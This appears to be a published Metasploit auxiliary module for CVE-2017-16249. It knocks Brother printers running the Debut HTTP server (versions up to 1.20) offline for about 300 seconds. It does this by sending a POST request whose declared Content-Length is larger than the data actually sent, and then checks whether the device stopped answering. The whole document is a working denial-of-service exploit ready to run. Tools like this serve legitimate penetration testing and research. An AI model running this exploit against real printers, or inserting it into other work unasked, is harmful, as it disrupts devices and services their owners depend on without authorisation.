Brother Debut http Denial Of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Brother Debut http Denial Of Service',  
'Description' => %q{  
The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial  
of Service (DoS) condition via a crafted HTTP request. The printer will be  
unresponsive from HTTP and printing requests for ~300 seconds. After which, the  
printer will start responding again.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'z00n <[email protected]>', # vulnerability disclosure  
'h00die' # metasploit module  
],  
'References' => [  
[ 'CVE', '2017-16249' ],  
[ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18730']  
],  
'DisclosureDate' => '2017-11-02'))  
end  
  
def is_alive?  
res = send_request_raw({  
'method' => 'GET',  
'uri' => '/',  
},10)  
  
return !res.nil?  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE  
print_error("Couldn't connect to #{peer}")  
end  
  
def dos  
# The web server is single threaded, and when the content length is longer than the data, it will continue to wait  
# for the rest of the data, which never comes, and times out after ~300 seconds.  
data = Rex::Text.rand_text_alphanumeric(40)  
send_request_cgi({  
'method' => 'POST',  
'uri' => '/',  
'data' => data, #'asdasdasdasdasdasdasd',  
'headers' => {  
# These are kept here since they were in the original exploit, however they are not required  
#'Host' => 'asdasdasd',  
#'User-Agent' => 'asdasdasd',  
#'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  
#'Accept-Language' => 'en-US,en;q=0.5',  
#'Referer' => 'asdasdasdasd',  
#'Connection' => 'close',  
#'Upgrade-Insecure-Requests' => 1,  
#'Content-Type' => 'application/x-www-form-urlencoded',  
'Content-Length' => data.length + rand(10) + 10 #42  
}  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE  
print_error("Couldn't connect to #{peer}")  
end  
  
def run  
time = Time.new  
print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.")  
dos  
  
# Check to see if it worked or not  
if is_alive?  
print_error("#{peer} - Server is still alive.")  
else  
print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")  
end  
end  
end  
`